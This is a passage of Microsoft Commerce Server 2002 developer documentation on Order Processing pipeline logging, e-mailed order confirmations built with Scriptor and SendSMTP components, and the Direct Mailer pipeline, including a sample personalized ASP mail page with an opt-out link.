
Note

  • Commerce Server pipeline components are not designed to retry after a failed attempt. When the pipeline stops processing, the pipeline process fails and the order is not processed.

See Also

Error Levels

Error Handling


Using an Order Log

There are two ways to view Order Processing pipeline (OPP) information. You can create an OPP run-time information log, which includes all the keys and values written to the OrderForm object by each component in each stage. You can also view the contents of the OrderForm object by using the DumpOrder sample Scriptor component. The DumpOrder sample is available in the Order Sitelet at: <Drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\source\pipeline.

You can log run-time information for each stage in the pipeline to a text file. By doing so, you see each stage and each component within that stage as it is run, including the information written to the OrderForm object at each stage. This is especially useful for debugging an Order Processing pipeline. To do this, add a call to the SetLogFile method before the call to the Execute method.

When you run the pipeline, stage and component information is written to the file you specify.

Note

  • For the log file to be created, you must specify a location in which you have write permission; otherwise, the log file creation will fail without a warning. Also be sure to comment out or delete the SetLogFile method when you have finished debugging the pipeline. Logging significantly slows down pipeline execution.

In the log file, components are numbered in the order that they are run and listed by name, but are not separated by pipeline stage.

A log file is easier to read if you use a spreadsheet application, such as Microsoft Excel, to view it.


Displaying the Contents of an Order Form

A sample Microsoft Visual Basic script, DumpOrder.vbs, is supplied in the <Drive>:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Classic ASP\Order Sitelet\source\pipeline subdirectory. When it runs, the DumpOrder script writes the contents of the OrderForm object to a file.

To use the DumpOrder script

  1. Add the Scriptor component to any stage in the pipeline. Double-click the Scriptor component icon. In the resulting property page, click the Scriptor tab, click VBScript in the Language drop-down list, and then click File.
  2. In the File box, type the path to the DumpOrder.vbs script (or click Browse to find it).
  3. The DumpOrder.vbs script takes a file name as a parameter, so type the full path name of the output file in the Config field. For example, filename=c:\order.log.
  4. Click OK, and then save the pipeline configuration file.
  5. Stop and restart Internet Information Services (IIS), or modify the Global.asa file to restart the application. The DumpOrder.vbs script will write a file with the name you specified as a parameter when the Order Processing pipeline runs.

See Also

Scriptor

Configuring a Scriptor Component


Sending a Purchase Confirmation by E-mail

This section describes the procedure for adding a pipeline component that will automatically send an e-mail order confirmation message when a new order is received. This example assumes that an e-mail address is required when users fill out their profile. This e-mail address is stored with the user information, and is therefore available in the order form.

In this example, the format of the confirmation e-mail is as follows:

Subject: Order Confirmation

Thank you for shopping at our store. Your order is confirmed.

Tracking number: 93LFF5XNE9SK2TVX00L1R0D9N7

Total purchase: $57.25

This section contains:

Step 1: Adding the text strings to the MessageManager object

Step 2: Creating a script to format the e-mail message

Step 3: Adding the Scriptor component to the pipeline

Step 4: Adding the SendSMTP component to the pipeline

Step 1: Adding the text strings to the MessageManager object

The first step is to add the text of the message to the MessageManager object. Although this step is not strictly necessary (the text could appear as string literals in the script), using the MessageManager object centralizes all text for the site and makes it easy to add support for additional languages at a later time. Add the necessary messages to the MessageManager object by performing the following steps:

  1. Using a text editor, such as Notepad, open the retail site Global.asa file. The file is usually located at C:\Inetpub\wwwroot\retail.
  2. After the call to Main at the end of the list of MessageManager strings, add the following lines:
    Dim oMessageManager
Set  oMessageManager = Server.CreateObject(""Commerce.MessageManager"")
Call oMessageManager.AddLanguage(""usa"", &H0409)
Call oMessageManager.AddLanguage(""FRA"", &H040c)
Call oMessageManager.AddLanguage(""ENC"", &H1009)
oMessageManager.defaultLanguage = ""usa""
Call oMessageManager.AddMessage(""email_subject"", ""Order Confirmation"")
Call oMessageManager.AddMessage(""email_body"", ""Thank you for shopping at our store. Your order is confirmed. "")
Call oMessageManager.AddMessage(""email_tracking"", ""Tracking number: "")
Call oMessageManager.AddMessage(""email_total"", ""Total purchase: "")

Step 2: Creating a script to format the e-mail message

After the proper code has been added to the Global.asa file, the next step is to create a script that formats the e-mail message. The script is to be used in a Scriptor component. The script must add the subject and message body text to the order form, so that a later component in the pipeline can send the e-mail.

Create a file named Email.vbs in the <drive:>\Inetpub\wwwroot\<sitename>\pipeline directory. Using a text editor such as Notepad, type or copy the following script into the file:

Function mscsexecute(config, orderform, context, flags)
    Dim oMessageManager, oDataFunctions
    Set oMessageManager = context.MessageManager
    Set oDataFunctions = context.DataFunctions

    orderform.[_email_subject] = _
              oMessageManager.GetMessage(""email_subject"")
    orderform.[_email_body] = _
              oMessageManager.GetMessage(""email_body"") _
              & chr(10) & chr(13) _
              & oMessageManager.GetMessage(""email_tracking"") _
              & orderform.[order_id] _
              & chr(10) & chr(13) _
              & oMessagemanager.GetMessage(""email_total"") _
              & oDataFunctions.Money(CLng(orderform.[_total_total]))
    mscsexecute = 1
End Function

When this script is run by the Scriptor component in the pipeline, it adds two new fields to the order form: _email_subject is used as the subject line for the e-mail, and _email_body is used as the body of the e-mail.

The script formats these strings by getting the appropriate messages from the MessageManager object and concatenating these strings with values from the order form, including the tracking number (order_id) and the purchase total (_total_total).

mscsMessagemanager.GetMessage(""email_tracking"") & orderform.[order_id]

generates this portion of the e-mail message body:

Tracking number: 93LFF5XNE9SK2TVX00L1R0D9N7

To format the total price as text in the local currency, the price is converted from numeric form as it is stored in the order form, using the DataFunctions.Money method.

Because the script uses methods of both the MessageManager object and the DataFunctions object, it first creates references to these objects. These references are provided by the PipeContext dictionary, which is passed in as an argument to the pipeline.

The function concludes with the following script, which indicates that the component ran successfully in the pipeline:

mscsexecute = 1

Note

  • In a site where the e-mail field is optional, make sure that the SendSMTP component does not attempt to send e-mail. You can disable the SendSMTP component by submitting a To field that contains the text None. The Email.vbs script can check for the existence of an e-mail name. If the user did not provide such a name, the script would substitute the text None.

Step 3: Adding the Scriptor component to the pipeline

In order to run the Email.vbs script within the OPP, a Scriptor component must be added to the Purchase pipeline configuration, as described in the following steps:

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Pipeline Editor.
  2. Open the Purchase.pct template, or the purchase pipeline for your site. Pipelines used in active sites are usually stored at C:/Inetpub/wwwroot/<site name>/pipeline.
  3. Open the Accept stage.
  4. Right-click the last component in that stage, or on the Accept stage itself if there are no components in the stage.
  5. Right-click Insert Component, and then click After.
  6. In the Choose a component dialog box, click Scriptor, and then click OK.

    The Scriptor component is added to the Accept stage.

  7. Double-click the Scriptor component icon.
  8. In the Component Properties dialog box, do the following:
    Use this | To do this
    Scripting Engine | Select VBScript.
    Source | Select External.
    Filename | Click Browse to find the location of the Email.vbs file, or type the path to the Email.vbs file.
  9. On the Component Properties tab, edit the Label box to provide a more helpful description (for example, Scriptor: Email.vbs (Format e-mail confirmation).
  10. Click OK to close the property page.

Step 4: Adding the SendSMTP component to the pipeline

The final step is to add the SendSMTP component to the Purchase pipeline configuration:

  1. In the Pipeline Editor, right-click the Scriptor component that you just added in Step 3: Adding the Scriptor Component to the Pipeline.
  2. Right-click Insert Component, and then click After.
  3. In the Choose a component dialog box, click SendSMTP, and then click OK.
  4. Double-click the SendSMTP component or its icon in the Pipeline Editor.
  5. In the Component Properties dialog box, on the SendSMTP tab, do the following.
    Use this | To do this
    From | Type the e-mail account of the computer from which the e-mail is sent.
    SMTP Host | Type the active SMTP host name that the computer uses to send e-mail.
    To | Type _shopper_email.
    cc | Leave blank.
    Subject | Type _email_subject.
    Message Body | Type _email_body.
    Message Body Contains | Select one of the three choices based on the content of your e-mail. For our example, select Text Body.

    These values in the OrderForm object will be used to format the e-mail. On the To line, _shopper_email is part of the user information that is added to the order form; on the Subject and Message Body lines, _email_subject and _email_body are the values added to the order form by the Email.vbs script.

  6. In the Component Properties dialog box, on the SendSMTP tab, do the following:
    Use this | To do this
    Email address to send test message to | Type an e-mail address to send the test message to.
  7. Click Send test Email.
  8. On the Component Properties tab, in the Label box, type a description.
  9. Click OK to close the property pages.
  10. On the File menu, click Save As.
  11. In the Save As dialog box, browse to the location where you would like to save the file, and then click Save.
  12. On the File menu, click Exit.

Reload the site so that your changes to the Global.asa file take effect.

Note

  • When adding components to a pipeline, it is important to consider the order in which the components appear. In the case of confirmation by e-mail, after the SendSMTP component has successfully sent the e-mail, the e-mail cannot be recalled if subsequent pipeline components fail. For this reason, the e-mail components have been placed last in the pipeline configuration. In this way, the e-mail is sent only if all other components succeed.

Using a Template

Depending on the complexity of the text you want in the e-mail reply, you might prefer to use a template to generate the e-mail message body. The component combines values on the order form with text in a template file.

To use a template, create a script to format the subject line and to convert any numeric values to their displayable text form. The following script does not generate the message body. The following file, Email.vbs, is loaded into a Scriptor component:

Function mscsexecute(config, orderform, context, flags)
    Dim mscsDataFunctions
    Set mscsDataFunctions = context.DataFunctions

    orderform.[_email_subject] = ""Order Confirmation""
    orderform.[_email_total] = mscsDataFunctions.Money(CLng(orderform.[_total_total]))
    mscsexecute = 1
End Function

Next, create a template file. In this example, the file is named Confirm_Template.vbs, and resides in the <drive:>\Inetpub\wwwroot\<sitename>\pipeline directory:

Thank you for shopping at our store. Your order is on its way.

Tracking number: <%%= order_id %%>
<%% Dim nItemcount
    nItemCount = Items.Items.count
if (nitemcount > 0) then
    dim iItem,Item
    for iItem = 0 to nitemcount - 1
    Set Item = Items.Items.Item(iItem) %%>
<%%= item.quantity %%> <%%= item.[_product_name] %%> <%%
    next
end if  %%>

Total purchase: <%%= [_email_total] %%>

Using the Pipeline Editor, insert a MakePO component in the Accept stage, immediately following the Scriptor component. Open the Component Properties dialog box by right-clicking the component and clicking Properties. Specify the Template File Name to indicate the template file just created (Confirm_Template.exe). Specify the Output Property Name as _email_body. The MakePO component, when run, will merge the template text with the values on the order form specified by the commands in the template, and will write the result to the _email_body name/value pair in the order form.

Insert the SendSMTP component after the MakePO component as described in Step 4: Adding the SendSMTP Component to the Pipeline. The SendSMTP component, when run, will use the subject line text generated by the Scriptor component, and the body message generated by the MakePO component.

The following is an example of a message body generated by this template:

Thank you for shopping at our store. Your order is on its way.

Tracking number: 8BMKQ3NHKES12M9D00L1R0D8N7

1 Plastic Commuter Mug

Total purchase: $14.28


Using the Scriptor Component

The Scriptor component makes it possible to insert code modules into your pipeline. These modules are written using Microsoft Visual Basic Scripting Edition (VBScript). From within a Scriptor component, you can access the OrderForm object, access pipeline context information, create other objects, and even run other pipelines. In addition, because the Scriptor component supports configuration parameters, the Scriptor component provides perhaps the easiest way to write custom components for the Order Processing pipeline (OPP).

When you add a Scriptor component to your pipeline, you configure the component by using the Component Properties dialog box. For more information about using the Component Properties dialog box, see Configuring a Scriptor Component.

Scriptor Methods

To display the property pages for a Scriptor component in the Pipeline Editor, select Internal, and then click the Edit button. The Scriptor component displays an edit window that contains the three routines that the Scriptor component can process:

''The following entry points are available (shown in VBScript format):

function MSCSExecute(config, orderform, context, flags)

    MSCSExecute = 1

end function

sub MSCSOpen(config)

end sub

sub MSCSClose()

end sub

These routines are called entry points for the Scriptor component, and you can think of them as you would think of the event handlers for a Visual Basic object or Microsoft ActiveX control. You fill in the body of these routines with your own task-specific scripting code, and when the Order Processing pipeline (OPP) runs the Scriptor component, it runs the code that you write.

The script that you write for your MSCSOpen subroutine is run immediately after the Scriptor component is created. The MSCSExit subroutine is run after the Scriptor component is destroyed. The MSCSExecute function is called after the MSCSOpen subroutine, but before the MSCSExit subroutine.

Of the three exports that make up a default Scriptor component, only the MSCSExecute function is required. The parameters that the Scriptor component passes to this function include the following:

  • config. The configuration Dictionary for the script, which contains the information in the following table.
    Name | Value
    User-defined configuration parameters | Parameter value. For example, if you type tax=1 in the Config box on the property page for the Scriptor component, the tax name/value pair appears in the Configuration dictionary.
    script_type | Identifies whether the script is internal or external. If it is internal, script_type contains the value INTERNAL; otherwise, it contains the value EXTERNAL.
    script_text | Contains the entire script for the component.
    script_name | Contains the fully qualified path to the file that contains the script to run. If the script_type is INTERNAL, this name/value pair does not contain a value.
    engine_prog_id | Identifies the scripting engine used to interpret the script. Possible values are VBScript and JScript.
  • orderform. The OrderForm object that you pass to the Execute method of the pipeline object.
  • context. The Context dictionary that you pass to the Execute method of the pipeline object.
  • flags. The flags that you pass to the Execute method of the pipeline object.


Using the ExecuteProcess Component

The ExecuteProcess component runs a specified executable, passing the executable the arguments that you provide. The process must not display any user interface elements. This component is typically run during the Accept stage, but can be run in any stage.

See Also

ExecuteProcess


Component Coordination

Because Commerce Server 2002 pipeline components run in a linear fashion, certain coordination must exist between the components. Component coordination is critical when multiple components exist within the same stage but only some of the components in the stage are implemented. The components that are implemented correlate to the actions of the Web site user. For example, the Payment stage might include one component that implements payment by electronic currency, and another that charges to a credit card. But you only want to run the component that corresponds to the request made by the user. If the user would like to pay by credit card, the payment by electronic currency component should not be run.

The Commerce Server pipeline architecture dictates that components in certain stages must coordinate to allow such multiple-choice components to exist in the same stage. The components that come with Commerce Server 2002 already follow this convention, and special care must be taken when writing your own components to ensure that they follow this convention.

Keep the following in mind when you create new components:

  • If the value that the component is supposed to compute is already set when the pipeline component begins running, the component should immediately exit. For example, if the user chooses to pay by credit card and the credit card component is run before the electronic currency component, then the credit card component will set the payment_method key to credit card. Then, when the electronic currency component is run, it should see that the payment_method key has been set and should exit.
  • If a component determines that it cannot or should not perform the task for the stage, it should leave the dictionary entry for the stage alone. The payment_method key is a commonly used apply dictionary key in the Payment stage and the component should only continue to run if the proper payment_method key value is set. For example, the user chose to pay by credit card and the credit card component set the payment_method key to credit_card. Then, when the electronic currency component is run it checks to see if the payment_method key is set to electronic currency, and when it determines that the payment method key is not set to electronic currency, it should not apply the rest of the component by charging the user via electronic currency.

Component coordination is critical in the following stages:

  • Shipping. Component coordination is critical for backward compatible components, but usually is not necessary when using the new multiple-shipping shipment architecture in Commerce Server. The _cy_shipping_total key must be coordinated. The shipping_method key is the apply key.
  • Handling. The _cy_handling_total key must be coordinated. The shipping_method key is the apply key.
  • Tax. Although this stage should be coordinated, it is recommended that you have only one tax component in your pipeline. Having only one tax key makes Commerce Server Business Desk management easier. The _cy_tax_total is the key to coordinate. The country key is the apply key.
  • Payment. The payment_method key is the key to coordinate and the apply key.

For information about building pipeline components, see Building Pipeline Components.


Specifying the Basis Item Key

Many of the Order Processing pipeline components use a Basis Item Key to determine applicable rates. For this key, you can use any of the values in the following table.

Basis Item Key Prefix | Description
order.fieldname | The value of the specified field, where fieldname is a property on the order form.
sum.fieldname | The sum of the value of the specified field for each item, where fieldname is a property in the item list.
sumq.fieldname | The sum of the value of the specified field for each item, where fieldname is a property in the item list, times the quantity of that item.
count | The number of line items in the order form. (Does not depend on quantity of each item.)

The following table shows some useful values for the Basis Item Key.

Example Basis Item Key | Result
order._oadjust_subtotal | Subtotal on the order form.
sum.quantity | Sum of all quantities (total number of items ordered).
sum._oadjust_adjustedprice | Sum of adjusted prices.
sumq._iadjust_currentprice | Sum of current price times quantity for all items in the order.
sumq._product_weight | Total weight of order. (Assumes that the weight column exists in the product table and that the query used by the QueryProdInfoADO component includes this field.)

For example, if the sumq._product_weight key is specified, and if the order has two items, one item weighing 2 pounds with a quantity of 3 and the other item weighing 4 pounds with a quantity of 1, then the basis value is 10 pounds.


Order Processing Pipelines Component Reference

The following components are commonly run in the Order Processing pipelines (OPP):

  • DBOrderPromoADO
  • DefaultHandlingCy, DefaultHandling
  • DefaultItemPriceCy, DefaultItemPrice
  • DefaultOrderSubTotalCy, DefaultOrderSubTotal
  • DefaultPayment
  • DefaultShippingCy, DefaultShipping
  • DefaultShopperInfo
  • DefaultTaxCy, DefaultTax
  • DefaultTotalCy, DefaultTotal
  • ExecuteProcess
  • FixedHandling
  • FixedShipping
  • FlagInventory
  • ItemPromo
  • LinearHandling
  • LinearShipping
  • LocalInventory
  • MakePO
  • MoneyConverter
  • OrderDiscount
  • POtoFile
  • QueryCatalogInfo
  • QueryProdInfoADO
  • RequiredHandlingCy, RequiredHandling
  • RequiredItemAdjustPriceCy, RequiredItemAdjustPrice
  • RequiredItemPriceCy, RequiredItemPrice
  • RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice
  • RequiredOrderCheck
  • RequiredOrderInitCy, RequiredOrderInit
  • RequiredOrderSubtotalCy, RequiredOrderSubtotal
  • RequiredPayment
  • RequiredProdInfo
  • RequiredShippingCy, RequiredShipping
  • RequiredTaxCy, RequiredTax
  • RequiredTotalCy, RequiredTotal
  • SaleAdjust
  • SampleRegionalTax
  • SaveReceipt
  • Scriptor
  • SendSMTP
  • ShippingDiscountAdjust
  • ShippingMethodRouter
  • SimpleCanadaTax
  • SimpleJapanTax
  • SimpleUSTax
  • SimpleVATTax
  • SQLItemADO
  • SQLOrderADO
  • StepwiseShipping
  • TableHandlingADO
  • TableShippingADO
  • ValidateCCNumber


Direct Mailer Pipeline

The Commerce Server Direct Mailer program (Dmlrun.exe) uses a pipeline to process the list of recipients. You can add new components to the pipeline, integrate the components with line-of-business systems, or replace them with components supplied by third parties.

This section contains:

  • About the Direct Mailer Pipeline. Describes the function and structure of the Direct Mailer pipeline.
  • Using the Direct Mailer Pipeline. Explains how to use the Direct Mailer pipeline.
  • Direct Mailer Component Reference. Lists the pipeline components used in the Direct Mailer pipeline.


About the Direct Mailer Pipeline

The Commerce Server Direct Mailer program (Dmlrun.exe) uses a pipeline to process the list of recipients. In general, you will use the Direct Mailer pipeline as it is shipped with the product. However, you can add your own or third-party components to extend the features of the pipeline. For more information, see Building Pipeline Components.

Because of the load on a server, installing the Direct Mailer service on a separate server is recommended. For information about running Direct Mailer, see Running Direct Mailer.

Note

  • The Direct Mailer pipeline does not support generating a pipeline log file.

This section contains:

  • Stages and Components of the Direct Mailer Pipeline. Describes the components in each stage of the Direct Mailer pipeline.


Stages and Components of the Direct Mailer Pipeline

The Direct Mailer pipeline runs components that screen recipients and personalize e-mail, and then send the personalized e-mail. The following table lists the stages of the pipeline.

Stage | Description
Throttle | Controls the speed of the Direct Mailer process.
Preprocess Recipient | Verifies the data about the recipient.
Filter Recipient | Allows additional filtering of the recipient list.
Create Cookies | Creates the cookies used to produce personalized content. The Direct Mailer uses a Web server to generate the content.
Compose E-mail | Composes and formats the message.
Send E-mail | Sends the message.
Postprocess Recipient | Updates the Direct Mailer database to mark those messages that were sent, and writes the appropriate error messages if needed.

Throttle Stage

The Throttle stage controls the speed with which direct mail messages are processed by the pipeline. This controls the load on the Simple Mail Transfer Protocol (SMTP) server.

The components related to this stage are shown in the following table.

Component | Description
ThrottleDMLPerformance | Waits a specified number of milliseconds. The Direct Mailer program, Dmlrun.exe, calculates the delay needed to maintain an appropriate delivery rate. It passes this delay to the ThrottleDMLPerformance component through the Context dictionary.

Preprocess Recipient Stage

The Preprocess Recipient stage verifies data such as whether there is a recipient address.

The components related to this stage are shown in the following table.

Component | Description
VerifyRecipientData | The VerifyRecipientData component checks multiple values in the pipeline dictionaries to verify data about the recipient. If any one of the checks fails, the component sets the RCP_BYPASS key to True so that subsequent components in the pipeline skip the recipient.

Filter Recipient Stage

The Filter Recipient stage can perform additional filtering of potential e-mail recipients. Microsoft Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom component to perform filtering. For more information, see Building Pipeline Components.

Testing recipient names against an opt-out list could be performed in this stage. However, you may have better performance if you remove the opt-out names from the mailing list in the List Manager module before running the mail job.

Components that you write for this stage should check and, if necessary, set the rcp_bypass key in the Order dictionary. The component should set the rcp_bypass key to True if subsequent components in the pipeline should skip the recipient.

Create Cookies Stage

This stage collects data to create a cookie to use with an Active Server Page to generate a personalized message.

The components related to this stage are shown in the following table.

Component | Description
CreateUPMCookie | Combines information from the Order and Context dictionaries and creates a Cookie dictionary in the Order dictionary containing the information.

Compose E-mail Stage

The Compose E-mail stage creates the body of the e-mail message and adds any attachments.

The components related to this stage are shown in the following table.

Component | Description
ComposeDMLMessage | Creates the body of a direct mail e-mail message. Generates the cookie from data in the Cookie dictionary if the e-mail is personalized.
AddAttachments | Uses the Collaboration Data Objects (CDO) for Microsoft Windows 2000 to add the attachments to the message.

Send E-mail Stage

The Send E-mail stage verifies the body of a direct mail e-mail message and sends the message.

The components related to this stage are shown in the following table.

Component | Description
VerifyMessageBody | Use this component to check the body of a direct mail e-mail message.
SendPrecomposedMessage | Use this component to send a direct mail e-mail message composed in earlier stages in the pipeline.

Postprocess Recipient Stage

The Postprocess Recipient stage can perform additional recipient processing such as recording information in a database. Commerce Server 2002 includes no component for this stage (other than the Scriptor component). However, you can add your own custom components. For more information, see Building Pipeline Components.


Using the Direct Mailer Pipeline

You can create personalized direct mail e-mail messages by writing a custom ASP page. Similarly, you can add third-party or custom components to the Commerce Server Direct Mailer pipeline. Those components need implement only the standard pipeline component interfaces. They also, however, need to understand the dictionary keys used by components in the pipeline.

This section contains:

  • Developing Direct Mail Content. Describes how to write an ASP page for use in sending personalized direct mail e-mail.
  • Implementing Direct Mail Opt-Out. Contains information on how to provide a link in direct mail e-mail messages to allow users to opt out of future mailings.
  • Values in the Direct Mailer Pipeline Dictionaries. A list of the keys used in the Direct Mailer pipeline dictionaries.


Developing Direct Mail Content

The Direct Mail module of Commerce Server 2002 allows you to send targeted email messages by using customer information and custom Active Server Pages (ASP). Direct Mailer acts similarly to a Web browser by gathering the UserID for the customer from a cookie, and using the profile service to obtain the user profile and personalize the page. But Direct Mailer renders the content as an e-mail message instead of a Web page.

The following example, ServiceReminder.asp, can be used to create Direct Mail content. When implemented, this ASP file will send out personalized e-mail messages reminding each of your customers to come to your Web site to view new products. The ASP file also includes an opt-out link if they would like to be removed from your mailing list.

In this example, the UserID is retrieved from the AuthManager object, and the UserObject profile is retrieved from the profile service. For personalization to work correctly with this example, the mailing list must include both an e-mail address and a UserID for all entries. If the mailing list has no UserID, the mail will not be sent. If the personalization flag is not turned on, the mail will not be sent. For more information about creating a mailing list, see Creating a Mailing List.

<%@ Language=VBScript %>

<%

Option Explicit

Response.AddHeader "pragma", "no-cache"

Response.Expires = 0

%>

<html>

<head>

</head>

<div class=Section1>

<%

Dim objAuthManager

Dim objUPM

Dim objProfile

Dim strUserID

Dim sCookieData

On Error goto 0

' Get User ID from AuthManager object.

SET objAuthManager = Server.CreateObject("Commerce.AuthManager")

objAuthManager.Initialize(Application("MSCSCommerceSiteName"))

if( Err.number <> 0 ) Then

Response.Write "<P>AuthManager Failed to initialize</P>"

End If

If Request.Cookies("CampaignItemID") <> "" Then' Part of a Campaign

strUserID = objAuthManager.GetUserID(1)

if( Err.number <> 0 ) Then

Response.Write "<P>Failed to get UserID</P>"

End If

Else' Not part of a Campaign

' The fix for being able to send personalized direct mail outside ' of a campaign is to toggle the comments on the two lines below.

' But please ensure that the web server that generates the

' personalized content is placed behind a firewall (since the user

' guid that is passed in not encrypted in this case).

Err.Raise &H80004005, , "Error: CampaignItemID was not specified"

' strUserID = Request.Cookies("MSCSProfile")

End If

' Get UserObject from profile Service

Set objUPM = Application("MSCSProfileService")

If (Err.Number <> 0) Then

Response.Write "<P>Failed to create Commerce.ProfileService</P>"

End If

Set objProfile = objUPM.GetProfileByKey("User_ID", strUserID, "UserObject")

If (Err.Number <> 0) Then

strErrMsg = "<P>User profile not found: " & strUserID & "</P>"

Response.Write strErrMsg

End If

%>

<table border=1 cellspacing=0 cellpadding=0 bgcolor="#ffff99" style='background:

#FFFF99;border-collapse:collapse;border:none;mso-border-alt:solid windowtext .5pt;

mso-padding-alt:0in 5.4pt 0in 5.4pt'>

<tr>

<td width=655 valign=top style='width:490.9pt;border:solid windowtext .5pt;

padding:0in 5.4pt 0in 5.4pt'>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family: "MS Mincho"'>

From: E-mail Notifier<o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Sent: <% = Date() %><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>To: <% = objProfile.GeneralInfo.First_Name %><o:p> </o:p><% = objProfile.GeneralInfo.Last_Name %><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Subject: </span><b><span style='font-size:12.0pt;

mso-bidi-font-size: 10.0pt;font-family:Tahoma;

mso-fareast-font-family:"MS Mincho";color:blue'>

New product notice</span></b><span style='mso-fareast-font-family:

"MS Mincho"'><o:p></o:p></span></p>

</td>

</tr>

</table>

<p class=MsoPlainText><b><span style='font-size:12.0pt;

mso-bidi-font-size:10.0pt; mso-fareast-font-family:

"MS Mincho";color:blue'><![if

!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></b></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'>Dear <% = objProfile.GeneralInfo.First_Name

%>,<o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family:

"MS Mincho"'><span style="mso-spacerun: yes">

</span><o:p></o:p></span></p>

<p class=MsoPlainText><span style='font-family:Tahoma;

mso-fareast-font-family: "MS Mincho"'>

<span style="mso-spacerun: yes"> </span>We have added some exciting

new products to our Web site. <o:p></o:p>

<A HREF="<% =objAuthManager.GetUrl("default.asp", False, False)

%>">Come see us today!</A>.<o:p></o:p></span></p>

<p class=MsoNormal style='mso-layout-grid-align:none;

text-autospace:none'><span style='font-size:10.0pt;

font-family:Arial;color:navy'>

<![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></p>

<p class=MsoNormal style='mso-layout-grid-align:none;

text-autospace:none'><span style='font-size:10.0pt;

font-family:Arial;color:navy'><span style='mso-tab-count:

1'> </span><o:p></o:p></span></p>

<p class=MsoPlainText><span style='mso-fareast-font-family:

"MS Mincho"'>__________________________________________

<o:p></o:p></span></p>

<p class=MsoPlainText><i><span style='font-size:8.0pt;

mso-bidi-font-size:10.0pt; font-family:Verdana;

mso-fareast-font-family:"MS Mincho"'>TO UNSUBSCRIBE: You

have received this e-mail notifier as a result of your personal

registration.<BR>To unsubscribe from this e-mail notifier, click

the link below. <o:p></o:p></span></i></p>

<p class=MsoPlainText><i><span style='font-size:8.0pt;

mso-bidi-font-size:10.0pt;

font-family:Verdana;mso-fareast-font-family:"MS Mincho"'>

<A HREF="<% On Error Goto 0

Response.Write objAuthManager.GetUrl

("opt-out.asp", False, False, _

Array("rcp_email", "campitem_id", "campitem_name"), _

Array(CStr(objProfile.GeneralInfo.email_address),

CStr(Request.Cookies("CampaignItemId")),

CStr(Request.Cookies("CampaignItemName"))) _

) %>">Click here to opt-out of future

mailings.</A><o:p></o:p></span></i></p>

</div>

</body>

</html>

To use this example you must first create a campaign. For more information, see Lesson 5: Creating a Direct Mail Campaign.

On the Campaign Manager <Customer> <Campaign> New (direct mail) screen, in the Direct Mail Properties section, and then do the following.

Use this | To do this
Direct mail name | Type a name for the direct mail job.
Message from e-mail address | Type the address that the direct mail is being sent from.
Reply to e-mail address | Type the address to which the recipient is to reply if different from the default address. This box defaults to the address the direct mail is being sent from.
Message subject | Type the subject text for this direct mail job.
File path or URL containing message body | Type the URL that you are using to display the direct mail message. For example, http://<host_name>/<site_name>/ServiceReminder.asp.
Attachment | Leave blank.
Mailing list | Select the mailing list that this direct mail campaign will use from the drop-down list. This mailing list must have e-mail addresses and valid UserIDs; other columns are optional.
Personalize direct mail per user | Select the check box.
Mail format | Select MHTML.
Comments (not included in message) | Type any required comments that are pertinent to this direct mail job.

If you are sending the ServiceReminder.asp code from the command line you must comment out the following line:

Err.Raise  &H80004005, , "Error: CampaignItemID was not specified"

and uncomment the following line:

' strUserID = Request.Cookies("MSCSProfile")

This is shown in comments in the ServiceReminder.asp code.

For more information about sending a test message, see Testing Direct Mail.


Implementing Direct Mail Opt-Out

Direct mail e-mail should always, at a minimum, provide a way for the recipient to opt out of future mailings. Where you send direct mail from determines the effects of opt-out links on your mailing lists.

For Direct Mail sent from Business Desk

The unpacked site associated with the Commerce Server Business Desk module includes an ASP page that takes a query string consisting of the e-mail address of the recipient, the campaign item ID, and the campaign name. When a user clicks on the opt-out link on the direct mail message sent from Business Desk, the user will be added to the opt-out list for the particular campaign that the direct mail was sent from. A user on mailing lists for multiple campaigns will continue to receive direct mail from all campaigns except for the campaign that the direct mail was sent from.

In the direct mail e-mail you send, you can include a link to the opt-out ASP page. The code for a link might appear as follows:

Click

<A HREF="http://mswaldofr/retail/opt-out.asp?rcp_email=mailuser8@passport.com&campitem_id=2&campitem_name=TestMail&MSCSProf">
 here </A> if you do not wish to receive future mailings.

The text the user would see in the e-mail would be "Click here if you do not wish to receive future mailings."

For Direct Mail sent from the command line

Direct mail sent from the command line is not associated with any campaign. Therefore the opt-out ASP page takes a query string containing only the e-mail address of the recipient. When a user clicks on the opt-out link on the direct mail message sent from the command line, the user will be added to the global opt-out list, and subsequently will be removed from all future mailings.

Note

  • If direct mail is sent using the Send Test Mail dialog box in Business Desk, and the recipient is on the opt-out list for the site, the recipient will still receive the mail. Opt-out links sent in direct mail messages from the Send Test Mail dialog box in Business Desk do not use the ListManager object to subtract the opt-out lists from the test mail mailing list. Additionally, if a user is not on a campaign opt-out list, and clicks the opt-out link in the test mail, the user will be added to the opt-out list.

For more information about the opt-out link included in the sample direct mail code, see Developing Direct Mail Content. If the direct mail is sent from the command line, and the recipient clicks the opt-out link, the recipient will be added to global opt-out lists, and will no longer receive direct mail. If the direct mail is sent from the Business Desk module, any recipient who clicks the opt-out link will be added to the opt-out list for the campaign. A recipient on multiple campaign mailing lists will continue to receive direct mail from the other campaigns.


Values in the Direct Mailer Pipeline Dictionaries

The following table lists the keys used in the Commerce Server Direct Mailer pipeline dictionaries. Like other pipelines, the Direct Mailer pipeline uses two dictionaries: a Context (read-only) dictionary and an Order (read/write) dictionary.

Key | Dictionary | Description
Attachments | Order | A SimpleList of URLs pointing to attachments.
campaign_item | Context | The campaign item ID.
campaign_item_name | Context | The name of the campaign item.
cdo_config | Context | A reference to a Collaboration Data Objects (CDO) configuration object (CDO.Configuration).
cdo_error | Order | An error string from the most recent CDO operation, if any. NULL if no error.
